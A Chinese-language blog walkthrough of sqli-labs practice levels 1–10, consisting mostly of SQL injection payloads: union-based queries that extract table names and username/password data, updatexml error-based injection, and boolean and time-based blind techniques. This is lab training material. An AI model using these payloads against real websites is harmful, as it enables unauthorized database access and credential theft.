sql-labs通关详解(1-10)

1.less-1

1.判断类型

由此判断是字符型漏洞由单引号闭合。

2.判断 字段个数

http://192.168.190.145/sqli-labs/Less-1/?id=1' order by 3--+

3.获取数据库名

-1' union select 1,2,database()--+

4.获取表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.获取字段名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

6.获取数据

-1' union select 1,2,group_concat(username,password) from users--+

2.less-2

1.判断类型

数字型。

2.判断字段个数

?id=1 order by 3--+

3.查询当前的数据库名

-1 union select 1,2,database()--+

4.查询数据表名

-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.查询字段

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()

6. 获取数据

-1  union select 1,2,group_concat(username,password) from users--+

 3.less-3

1.判断类型

所以是单引号闭合的xx型注入

2.判断字段

2. 查询数据库

-1') union select 1,2,database()--+

3.查询数据表

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

剩下的查询步骤与前面的题相似。。

4.less-4

1.判断类型

所以为 xx型双引号闭合

其余步骤与上面几道题类似。。

5.less-5

1.判断类型

 

通过测试这道题 查询到数据 会显示  you are in .... ,查询不到就什么也不显示所以判断这道题属于没有回显的题。并且由单引号闭合 先尝试报错注入。

2.报数据库

1' and  updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 3.报数据表

1' and  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

4.爆字段

-1' and    updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

 5.爆数据

-1' and    updatexml(,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

6.less-5

1.判断类型 

经过测试这题与less-5类似,没有回显,用报错注入,并且用双引号闭合。 

2.爆数据库 

1" and  updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3.爆数据表 

1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

4.爆字段

1" and  updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

 5.爆数据

1" and  updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

7.less-7

1.判断类型

经过测试发现这道题是没有回显并且单引号闭合,但是输入的测试语句都无效,通过查看源码

提交的参数被')) 闭合 先尝试   报错注入,在尝试盲注..

8.less-8

1.判断类型 

根据测试发是一个单引号闭合的没有回显的题,先尝试报错 ,经过测试报错注入也没有回显所以采用盲注,先采用布尔盲注,不管用再用时间盲注,

由于盲注获取具体数据比较麻烦,我这里给出大概思路,用sqlmap来得到数据

2. 判断数据库长度

1' and  length(database())=8--+

3.判断字符

0' or   ascii(substr(database(),1,1))=115--+
//猜测数据库中的表数量
0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+
//猜测第一个表中的第一个字符
0' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
//猜测字段长度
0' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2--+
//查第一个字段全名
0' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104--+
//猜测表中字段具体内容的条数
0' or 8=(select count(id) from security.emails)--+
//查询字段的第一条具体内容
0' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68--+

工具使用

1.列出数据库

 

数据表

字段

数据

9.less-9

第九题 不管输入什么都会显示 you are in ... 

是时间注入并且用单引号闭合

工具使用同上一题

判断语句

if(条件,sleep(5),0),条件出可用布尔盲注的语句替换,如果成功就执行sleep(5).

10.less-10

同第九题不过是双引号闭合

  • 11
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值